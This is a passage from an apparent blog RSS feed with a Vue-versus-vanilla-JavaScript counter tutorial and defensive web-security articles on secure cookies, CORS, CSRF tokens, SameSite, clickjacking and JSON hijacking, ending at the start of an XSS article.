                { <span class="hljs-attr">start</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">9</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Go on with it!'</span> },
                { <span class="hljs-attr">start</span>: <span class="hljs-number">10</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">15</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'頑張って!'</span> },
                { <span class="hljs-attr">start</span>: <span class="hljs-number">16</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">25</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Sauba'</span> },
                { <span class="hljs-attr">start</span>: <span class="hljs-number">26</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">50</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Good Job'</span> },
            ],
        }
    },
    <span class="hljs-attr">computed</span>: {
        message() {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.messages
                .find(<span class="hljs-function">(<span class="hljs-params">{start, end}</span>) =&gt;</span> <span class="hljs-keyword">this</span>.counter &gt;= start &amp;&amp; <span class="hljs-keyword">this</span>.counter &lt;= end)
                .message
        }
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>In the Vanilla JavaScript implementation we had to extend our render method. Vue has a much more elegant solution with its <a href="https://vuejs.org/v2/guide/computed.html">computed fields</a>.
A computed field takes existing data, runs the synchronous method, in our case <code>message()</code>, caches it and makes it available just as if it was actual <code>data</code>.</p>
<p>We can also extract our decrementing and incrementing into a method.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"decrement"</span>&gt;</span>-<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    {{ counter }}
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"increment"</span>&gt;</span>+<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>{{ message }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">counter</span>: <span class="hljs-number">0</span>,
            <span class="hljs-attr">messages</span>: [
                { <span class="hljs-attr">start</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">9</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Go on with it!'</span> },
                { <span class="hljs-attr">start</span>: <span class="hljs-number">10</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">15</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'頑張って!'</span> },
                { <span class="hljs-attr">start</span>: <span class="hljs-number">16</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">25</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Sauba'</span> },
                { <span class="hljs-attr">start</span>: <span class="hljs-number">26</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">50</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Good Job'</span> },
            ],
        }
    },
    <span class="hljs-attr">computed</span>: {
        message() {
            <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.messages
                .find(<span class="hljs-function">(<span class="hljs-params">{start, end}</span>) =&gt;</span> <span class="hljs-keyword">this</span>.counter &gt;= start &amp;&amp; <span class="hljs-keyword">this</span>.counter &lt;= end)
                .message
        }
    },
    <span class="hljs-attr">methods</span>: {
        decrement() {
            <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.counter &gt; <span class="hljs-number">0</span>) <span class="hljs-keyword">this</span>.counter--
        },
        increment() {
            <span class="hljs-keyword">if</span> (<span class="hljs-keyword">this</span>.counter &lt; <span class="hljs-number">50</span>) <span class="hljs-keyword">this</span>.counter++
        },
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Looking at the two implementations, both are understandable at this point. That's good! There are a couple problems we encountered with the Vanilla JavaScript implementation though. Right from the start, we had to make decisions about the best way to implement the counter. After some spec changes we also very early had to refactor it into a modular structure to keep the code readable. In general, it was harder to make the required changes.
The nice thing about Vue is that everything has its place.</p>
<p>Now we are about to release our counter, suddenly the pm knocks on our door and tells us that there can be multiple counters on one page. Pretty simple thing right, just copy some HTML. But wait... we used ID's all the time. That means we can only have one counter on the page... Luckily though, we modularized our code, so we only have to make some small changes to it. Let's look at the implementation.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"counter-wrapper"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"counter1"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"increment-counter"</span>&gt;</span>+<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"counter"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"decrement-counter"</span>&gt;</span>-<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"inspirational-message"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"counter-wrapper"</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"counter2"</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"increment-counter"</span>&gt;</span>+<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">span</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"counter"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">span</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"decrement-counter"</span>&gt;</span>-<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"inspirational-message"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>We had to get rid of all IDs and replace them with classes.</p>
<pre class="hljs"><code>
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Counter</span> </span>{
    <span class="hljs-keyword">constructor</span>(wrapperEl) {
        <span class="hljs-keyword">this</span>.count = <span class="hljs-number">0</span>
        <span class="hljs-keyword">this</span>.messages = [
            { <span class="hljs-attr">start</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">9</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Go on with it!'</span> },
            { <span class="hljs-attr">start</span>: <span class="hljs-number">10</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">15</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'頑張って!'</span> },
            { <span class="hljs-attr">start</span>: <span class="hljs-number">16</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">25</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Sauba'</span> },
            { <span class="hljs-attr">start</span>: <span class="hljs-number">26</span>, <span class="hljs-attr">end</span>: <span class="hljs-number">50</span>, <span class="hljs-attr">message</span>: <span class="hljs-string">'Good Job'</span> },
        ]

        <span class="hljs-keyword">this</span>.cacheDOM(wrapperEl)
        <span class="hljs-keyword">this</span>.bindEvents()
        <span class="hljs-keyword">this</span>.render()
    }

    cacheDOM(wrapperEl) {
        <span class="hljs-keyword">this</span>.wrapperEl = wrapperEl
        <span class="hljs-keyword">this</span>.counterEl = <span class="hljs-keyword">this</span>.wrapperEl.querySelector(<span class="hljs-string">'.counter'</span>)
        <span class="hljs-keyword">this</span>.incrementCounterEl = <span class="hljs-keyword">this</span>.wrapperEl.querySelector(<span class="hljs-string">'.increment-counter'</span>)
        <span class="hljs-keyword">this</span>.decrementCounterEl = <span class="hljs-keyword">this</span>.wrapperEl.querySelector(<span class="hljs-string">'.decrement-counter'</span>)
        <span class="hljs-keyword">this</span>.inspirationalMessageEl = <span class="hljs-keyword">this</span>.wrapperEl.querySelector(<span class="hljs-string">'.inspirational-message'</span>)
    }

    bindEvents() {
        <span class="hljs-keyword">this</span>.incrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, () =&gt; <span class="hljs-keyword">this</span>.countUp(<span class="hljs-number">1</span>))
        <span class="hljs-keyword">this</span>.decrementCounterEl.addEventListener(<span class="hljs-string">'click'</span>, () =&gt; <span class="hljs-keyword">this</span>.countUp(<span class="hljs-number">-1</span>))
    }

    render() {
        <span class="hljs-keyword">this</span>.counterEl.innerText = <span class="hljs-keyword">this</span>.count

        <span class="hljs-keyword">const</span> { message } = <span class="hljs-keyword">this</span>.messages.find(<span class="hljs-function">(<span class="hljs-params">{start, end}</span>) =&gt;</span> <span class="hljs-keyword">this</span>.count &gt;= start &amp;&amp; <span class="hljs-keyword">this</span>.count &lt;= end)
        <span class="hljs-keyword">this</span>.inspirationalMessageEl.innerText = message
    }

    countUp(value) {
        <span class="hljs-keyword">const</span> newCount = <span class="hljs-keyword">this</span>.count + value
        <span class="hljs-keyword">if</span> (newCount &lt; <span class="hljs-number">0</span> || newCount &gt; <span class="hljs-number">50</span>) <span class="hljs-keyword">return</span>
        <span class="hljs-keyword">this</span>.count = newCount
        <span class="hljs-keyword">this</span>.render()
    }

}
<span class="hljs-keyword">new</span> Counter(<span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter1'</span>))
<span class="hljs-keyword">new</span> Counter(<span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'counter2'</span>))
</code></pre>
<p>Let's look at the Vue implementation. Actually all we have to change is our <code>App.vue</code></p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">app-counter</span> /&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">app-counter</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> AppCounter <span class="hljs-keyword">from</span> <span class="hljs-string">'./Counter'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">components</span>: { AppCounter }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Yup, that's it! We just had to copy paste <code>&lt;app-counter /&gt;</code>. The state inside a vue component is only accessible within that component.</p>
<h2 id="conclusion">Conclusion</h2>
<p>What I wanted to demonstrate in this article is how readable and easily extendable Vue is. Compare each step between the Vanilla JavaScript and the Vue solution. In all cases the Vue solution required much less changes.
Vue, while opinionated, forces you into a clear structure.
Please also take a minute to compare the end result. Which one is more readable and therefore more easily maintainable in your opinion?</p>
<p>At the end you could see how easy it was to add another counter component to our app. And this is really where Vue shines, with its amazing component design. Vanilla JavaScript solutions will be far behind in readability and extendability. But that's for another episode ;) We just barely scrached the surface of Vue.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Secure Cookies in 5 steps]]></title>
            <link>https://michaelzanggl.com/articles/web-security-cookies/</link>
            <guid>web-security-cookies</guid>
            <description><![CDATA[Even with the right CORS setup and CSRF protection cookies present a few more attack vectors. Let's discover how to secure cookies.]]></description>
            <content:encoded><![CDATA[<p>Even with the right CORS setup and CSRF protection cookies present a few more attack vectors. Let's discover how to secure cookies.</p>
<blockquote>
<p>Note that frameworks usually come with the below settings set properly so even developers inexperienced with web security can develop secure apps.</p>
</blockquote>
<h2 id="1.-samesite-attribute">1. Samesite attribute</h2>
<p>We've already covered this topic previously. You want to make sure your cookies are set to <code>sameSite=Lax</code> so they are only being passed when the request comes from the same site, and not a third-party context.</p>
<h2 id="2.-httponly-attribute">2. HttpOnly attribute</h2>
<p>Cookies, by default, can be accessed using javascript via <code>document.cookie</code>. You can imagine this being a problem if an attacker finds a vulnerability to execute arbitrary javascript on your site (more on that in the next article).</p>
<p>To avoid cookies being accessible via JavaScript, set the <code>HttpOnly</code> flag.</p>
<h2 id="3.-secure-attribute">3. Secure attribute</h2>
<p>By setting the secure attribute, the cookie will only be sent over HTTPS.
This is especially important if a user uses your service in a public network where non encrypted traffic can be read by an attacker.</p>
<h2 id="4.-encryption">4. Encryption</h2>
<p>You can have all of the above set, but if you forget to encrypt your cookies, it can be very dangerous.</p>
<p>Say you don't store a token, but the user ID for the auth cookie. If it's not encrypted, an attacker can just change the cookie value to another user id by himself. To avoid this, the cookie should be encrypted with a strong algorithm like AES-256 and a long, secret, random key.</p>
<p>In Node.js for example, you can use Node's crypto library for this.</p>
<blockquote>
<p>Note that encryption is different from hashing (like you would with a password using tools like bcrypt). Encryption allows decrypting the value again which is necessary for cookies.</p>
</blockquote>
<x-ad />
<h2 id="5.-cookie-signing">5. Cookie signing</h2>
<p>For extra security, sign cookies using a message authentication code (MAC) to make sure nobody can tamper with it.</p>
<p>This is again possible with the <a href="https://nodejs.org/api/crypto.html#crypto_crypto_createhmac_algorithm_key_options">crypto library</a> in Node.js, but generally, for this and all above, I advise you to use something more high level and not implement any of this from scratch.</p>
<hr>
<p>We've covered a lot in these articles but there are still ways an attacker can steal your users' data through the browser, even though you followed all the protections so far, and that's through XSS attacks. Let's cover this next time and see if React/Vue REALLY protect you from all XSS attack vectors!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying CORS, CSRF tokens, SameSite & Clickjacking - Web Security]]></title>
            <link>https://michaelzanggl.com/articles/web-security-cors-csrf-samesite/</link>
            <guid>web-security-cors-csrf-samesite</guid>
            <description><![CDATA[One of the best features of the web is its backwards compatibility. But ironically, this also makes the web somewhat insecure by default. Let's have a look]]></description>
            <content:encoded><![CDATA[<p>One of the best features of the web is its backwards compatibility. But ironically, this also makes the web somewhat insecure by default.</p>
<p>Understanding the different techniques and attack vectors can be quite complex. While the internet is filled with a lot of correct info, it's also filled with a lot of sparse, outdated, incorrect, or partial information.</p>
<h2 id="before-we-dive-in">Before we dive in</h2>
<p>This series tackles security on the web, specifically, the browser. CORS, CSRF tokens, SameSite, clickjacking, httpOnly &amp; secure cookies, XSS, CSP, <code>http://</code>, and all the questions that might come with it: Does SameSite=Lax eliminate CSRF tokens and/or CORS?, Do React/Vue/etc. really protect you from all XSS attack vectors? Do I still need to worry about JSON hijacking? Can I use CSRF tokens with a SPA? etc 🤯</p>
<p>💡 Please let me know through my email if I either missed something, made a mistake, or simply if this helped you better understand this big topic.</p>
<p>In this post, let's cover CORS, CSRF tokens, SameSite, clickjacking, and JSON hijacking.</p>
<h2 id="lets-dive-in">Let's dive in</h2>
<p>For the scenarios, let's consider that you develop banking software. We focus on two endpoints:</p>
<ul>
<li>GET /accounts -&gt; to list a users' accounts</li>
<li>POST /transfer -&gt; to transfer money</li>
</ul>
<p>For the user to use your software, he has to sign in by the <strong>use of cookies</strong>.</p>
<p>The whole security dilemma stems from one of your users being tricked to access a phishing site from an attacker.</p>
<p>Why is this dangerous? Because as of 2021, most modern browsers usually still send all cookies along with a request. Even in a third-party context like a phishing site (For ajax requests, when <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/withCredentials">withCredentials</a> is set to true). So, since the user has cookies on your bank site, a request to your bank will also send along those cookies that are used to identify them.</p>
<h4 id="%F0%9F%A4%94-on-the-phishing-site%2C-can-the-attacker-put-malicious-javascript-to-both-get-your-accounts-get-request%2C-as-well-as-transfer-money-post-request%2C-both-using-a-simple-ajax-request%3F">🤔 On the phishing site, can the attacker put malicious JavaScript to both get your accounts (GET request), as well as transfer money (POST request), both using a simple AJAX request?</h4>
<p>The answer is: No! Unless the bank server explicitly allows it.</p>
<h3 id="introducing-sop-and-cors">Introducing SOP and CORS</h3>
<p>SOP, or Same-Origin Policy is a <strong>browser</strong> security feature which prevents AJAX requests in a third-party context. But sometimes, we do want to allow exactly that (e.g. SPA app &lt;&gt; API server). And that's what CORS, or Cross-Origin Resource Sharing is for. By setting various <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin">HTTP headers</a> on the server.</p>
<h4 id="%F0%9F%A4%94-how-does-sop-protect-the-user-from-ajax-requests%3F">🤔 How does SOP protect the user from AJAX requests?</h4>
<p>Let's first cover the HTTP method GET:</p>
<p>SOP will prevent the attacker from accessing the response of the request in JavaScript. Additionally, you will see a cross-origin request violation error in the console.</p>
<p>Note however that whatever the bank server does for the GET route will actually be executed! This is because the browser doesn't know the HTTP (SOP/CORS) headers until it gets the response.</p>
<p>This is usually not a problem as in GET requests, all you do is <em>get</em> information. You should not perform any destructive actions in a GET request like deleting a database entry.</p>
<x-ad />
<h4 id="%F0%9F%A4%94-what-about-post%2C-put%2C-delete-and-patch-requests%3F-these-are-all-destructive-actions%2C-do-i-need-to-worry%3F">🤔 What about POST, PUT, DELETE and PATCH requests? These are all destructive actions, do I need to worry?</h4>
<p>Not really! In those requests, the browser will first do a so-called preflight request using the HTTP method <code>OPTIONS</code>. This will not execute any code but will return the CORS headers. The browser will then judge if it is safe to send the real request or not.</p>
<p>Be aware that under certain circumstances, the browser will not send a preflight request first. For example, if <code>multipart/form-data</code> is used as the Content-Type. <strong>So make sure your server doesn't ignore this and just processes every content type as JSON</strong>.
For an exhaustive list of rules, check <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests">here</a>. Note how even a GET request with the right headers set could require a preflight request first.</p>
<blockquote>
<p>Note that this is only an issue because the cookie in the browser gets sent along. So if an attacker tries to send a CURL request to your bank from a server script, where SOP doesn't apply, he can't do much here. (as long as he doesn't have your cookie..., more on that another time)</p>
</blockquote>
<hr>
<p>But an attacker may have other tricks up his sleeve, even with your site having no CORS enabled.</p>
<p>Instead of performing an API request they can put a <code>&lt;form /&gt;</code> on their phishing site with the action pointing to your site and submit it automatically. This will navigate the current browsing context (browser tab, iframe, popup, etc.) to your site (means, it will literally take you to your site in the browser), sending the cookies along with it. That's, of course, problematic for destructive actions, such as the money transfer endpoint at our bank.</p>
<p>This is called Cross-Site Request Forgery (CSRF), and since it's not an AJAX request but works through changing the browsing context, SOP will not protect you from it.</p>
<h2 id="introducing-csrf-tokens">Introducing CSRF tokens</h2>
<p>This is not an in-built browser feature, but a common solution for this problem.</p>
<p>It works like this:
Every <code>&lt;form /&gt;</code> on the bank has to include a CSRF token like this:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"..."</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"_csrf"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"C4N-U_R34D+T#15?"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">button</span>&gt;</span>Submit<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
</code></pre>
<p>Of course, this token is not just hardcoded but changes every time you refresh the page.</p>
<p>Using frameworks, the token is usually added to the <code>&lt;form /&gt;</code> like this:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"..."</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span>&gt;</span>
  {{ csrfField() }}
  <span class="hljs-tag">&lt;<span class="hljs-name">button</span>&gt;</span>Submit<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
</code></pre>
<p>Now when the attacker puts the <code>&lt;form /&gt;</code> on his phishing site, he won't have the CSRF token, so the form submission will always fail with a <code>403 forbidden</code>.</p>
<h4 id="%F0%9F%A4%94-you-might-be-asking%2C-couldnt-the-attacker-have-a-server-script-to-circumvent-sop-to-fetch-the-contents-of-any-of-the-banks-site-with-a-%3Cform-%3E%2C-extract-the-csrf-token-from-the-html%2C-put-it-in-his-evil-form-and-submit-it-just-fine%3F">🤔 You might be asking, couldn't the attacker have a server script (to circumvent SOP) to fetch the contents of any of the bank's site with a <code>&lt;form /&gt;</code>, extract the CSRF token from the HTML, put it in his evil form and submit it just fine?</h4>
<p>The answer is: No! That's because CSRF tokens are bound to the users' session. So <strong>your</strong> CSRF tokens won't work for <strong>me</strong>.</p>
<blockquote>
<p>In case you are not using a framework and you implement CSRF tokens using a standalone library, you have to make sure you <strong>integrate</strong> them correctly to prevent the above.</p>
</blockquote>
<h4 id="%F0%9F%A4%94-i-only-communicate-to-my-server-through-an-api%2C-not-through-the-browsers-%3Cform-%3E-element.-do-i-need-to-be-careful%3F">🤔 I only communicate to my server through an API, not through the browser's <code>&lt;form /&gt;</code> element. Do I need to be careful?</h4>
<p>Yes, because the attacker can still put a <code>&lt;form /&gt;</code> on his evil site with an action pointing to your API endpoint. Whether you use APIs or not is not important.</p>
<p>TLDR;</p>
<ul>
<li>CSRF tokens are a common, custom solution to prevent CSRF</li>
<li>They are coupled with the users' session</li>
<li>They also prevent POST, PUT, PATCH and DELETE AJAX requests, but usually not GET requests.</li>
</ul>
<hr>
<p>To put it bluntly, it kind of sucks that we have to implement CSRF tokens on every website. While my explanation (hopefully :D) was simple, in practice there are a few complications like SPAs, token expiry, etc.</p>
<p>Wouldn't it be great if browsers just wouldn't send cookies when the request, AJAX or not, is in a third-party context?</p>
<h2 id="introducing-samesite">Introducing SameSite</h2>
<p>SameSite is a cookie attribute with which you can specify when a cookie should be sent along with a request.</p>
<p>It can be set to:</p>
<ul>
<li>None: The cookies will always be sent no matter the context. This only works for cookies with the &quot;secure&quot; flag</li>
<li>Lax: The cookie will not be sent for AJAX requests in a third-party context, as well as top-level navigations (<form> requests) using the POST method. <strong>This is what we want!</strong></li>
<li>Strict: Same as Lax, but the cookie will also not be sent for top-level navigations using the GET method</li>
</ul>
<p>This sounds very good, doesn't it! And the good news is that browsers have already started to make SameSite=Lax the default option, giving the web more security out of the box. Hopefully, all vendors will implement this soon.</p>
<p>If you are confused about &quot;Strict&quot;..., it's really super strict. It means if you click a link on site A to site B (where you are logged in), the cookie won't be sent along and you won't be logged in on site B (You would have to refresh or click any link on site B to appear logged in again).</p>
<p>So, let's tackle a few common questions!</p>
<h4 id="%F0%9F%A4%94-what-is-considered-same-site%3F">🤔 What is considered &quot;same&quot; site?</h4>
<p>Basically the apex domain (the TLD and the part before it). So if you have <code>http://client.bank.com</code> and <code>https://www.api.bank.com</code>, it still counts as &quot;same-site&quot;.</p>
<h4 id="%F0%9F%A4%94-wait%2C-so-what-about-sites-like-github-pages%3F-its-all-under-github.io...">🤔 Wait, so what about sites like GitHub pages? It's all under <code>github.io</code>...</h4>
<p>There is a <a href="https://publicsuffix.org/">public suffix list</a> to fix those.</p>
<h4 id="%F0%9F%A4%94-cors-stands-for-cross-origin....-whats-the-difference-between-origin-and-site%3F">🤔 CORS stands for &quot;cross-origin...&quot;. What's the difference between &quot;origin&quot; and &quot;site&quot;?</h4>
<p>We already covered the meaning of &quot;site&quot;. &quot;origin&quot; is a lot stricter. Both sites need to have the same scheme(HTTP/HTTPS), port, and subdomain.</p>
<p>More info here: <a href="https://web.dev/same-site-same-origin/">https://web.dev/same-site-same-origin/</a></p>
<h4 id="%F0%9F%A4%94-do-we-still-need-csrf-tokens-with-samesite%3Dlaxstrict%3F">🤔 Do we still need CSRF tokens with SameSite=Lax/Strict?</h4>
<p>It depends. SameSite is a rather new feature and is not in legacy browsers or even older versions of modern browsers. If you can allow it, block the use of legacy browsers for your website.</p>
<h4 id="%F0%9F%A4%94-do-we-still-need-to-be-protective-about-sop%3F">🤔 Do we still need to be protective about SOP?</h4>
<p>If you support not up-to-date browsers: Yes!
If not: Probably..., but why risk it?</p>
<p>SameSite prevents cookies from being sent in a third-party context. So if you disable SOP by enabling CORS, an attacker can send a cookie-free AJAX request in the browser, the same way they could send a CURL request from a server script. Sounds like we don't need SOP anymore right?</p>
<p>Let's not forget one thing: The web doesn't just work using cookies. A site could also deliver different info based on other factors like your IP address for example. Or maybe(?) the browser could return a cached result that actually contains sensitive data.</p>
<p>I just don't see any benefit in risking it. Unlike CSRF token, which comes with a certain complexity, SOP is enabled by default.</p>
<p>TLDR;</p>
<ul>
<li>The cookie attribute <code>SameSite=Lax</code> prevents cookies being sent in a third-party context (both AJAX requests and top-level navigation POST requests) making CSRF tokens obsolete</li>
<li>It's not supported in legacy browsers</li>
<li>Going forward, <code>SameSite=Lax</code> will be the default if not explicitly set to something else</li>
</ul>
<hr>
<p>Okay, so we can prevent ajax requests &amp; <code>&lt;form /&gt;</code> submissions in a third-party context. But, what if the attacker goes a different route.</p>
<p>Instead of submitting a form, they:</p>
<ul>
<li>load the bank site in an iframe</li>
<li>make it invisible through various CSS rules</li>
<li>absolutely position a button over the iframe on top of a form submit button inside the iframe.</li>
<li>give the button the CSS rule &quot;pointer-events: none&quot;, so the click gets propagated to the element beneath it (the iframe)</li>
</ul>
<p>Now clicking the button from the attacker will submit the form on the invisible iframe :/</p>
<h2 id="clickjacking">Clickjacking</h2>
<p>This attack is called clickjacking, and you can get really creative with it, like making a user think he's playing &quot;whack-a-mole&quot; while actually, he's navigating a shopping site for you.</p>
<p>How to prevent clickjacking?</p>
<p>If SameSite is set correctly, then the cookies will not be passed in a third-party context, even for iframes. So if the site authenticates using cookies, this makes it much safer.</p>
<p>But the attacker could still trick you to first sign in, and then do the other stuff...</p>
<p>You can prevent your page from being embeddable via iframes by setting the following HTTP-header:</p>
<pre class="hljs"><code>X-Frame-Options: DENY
</code></pre>
<p>or with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors">CSP's frame-ancestors</a>.</p>
<p>But sometimes, you want your page to be embeddable anywhere like a social-media like-button.</p>
<p>Until recently, the only secure way to do this was to not use iframes and use a link that opens a popup instead.</p>
<p>But with modern JavaScript, you can detect if your site is 100% visible or not, even in an iframe, using the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API">intersection observer</a>.</p>
<p>To see in action how the intersection observer works and more details about this topic, I highly recommend watching this video on the topic: <a href="https://www.youtube.com/watch?v=EIH6IQgwdAc">https://www.youtube.com/watch?v=EIH6IQgwdAc</a></p>
<p>TLDR;</p>
<ul>
<li>Clickjacking is an attack that tricks people into unwantedly clicking on a site inside an (invisible) iframe</li>
<li>You can prevent your site from being embeddable via iframes by setting the header &quot;X-Frame-Options&quot; to &quot;DENY&quot;</li>
<li>For modern browsers, you can use the intersection observer to make sure your site (in an iframe) is really visible</li>
</ul>
<hr>
<p>Now, before finishing up this post, there is one more attack vector to be aware of, and that is JSON hijacking.</p>
<h2 id="json-hijacking">JSON hijacking</h2>
<p>This is not a problem in modern browsers, but it's a problem that could surface again with new additions to JavaScript.</p>
<p>It basically allowed you to circumvent SOP in the browser by loading an API through the <code>&lt;script&gt;</code> tag (where SOP doesn't apply), sending along the cookies if SameSite doesn't apply.</p>
<p>Usually this just executes the script. But by overwriting <code>Array</code> you were able to listen to native array constructions. So if an array was returned, you could read the contents.</p>
<p>That's why Facebook starts all their API requests with an infinite <code>for</code> loop. So the browser never gets to execute the array portion.</p>
<p>There are some more interesting bits to the story, you can find more details about it <a href="https://dev.to/antogarand/why-facebooks-api-starts-with-a-for-loop-1eob">here</a>.</p>
<hr>
<p>Next time, let's tackle the glaring question if CSRF tokens can be used in a SPA or not.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-Site Scripting (XSS) and is your SPA really safe from it?]]></title>
            <link>https://michaelzanggl.com/articles/web-security-xss/</link>
            <guid>web-security-xss</guid>
            <description><![CDATA[One of the most dangerous attacks out there]]></description>
            <content:encoded><![CDATA[<p>Last but not least, let's talk about Cross-Site Scripting (XSS)!</p>
<p>XSS attacks are all about writing malicious HTML into the DOM.
A classic example would be a comments section, where you need to load untrusted user comments from a database or an API into the DOM.</p>
<p>Imagine rendering a single comment being:</p>
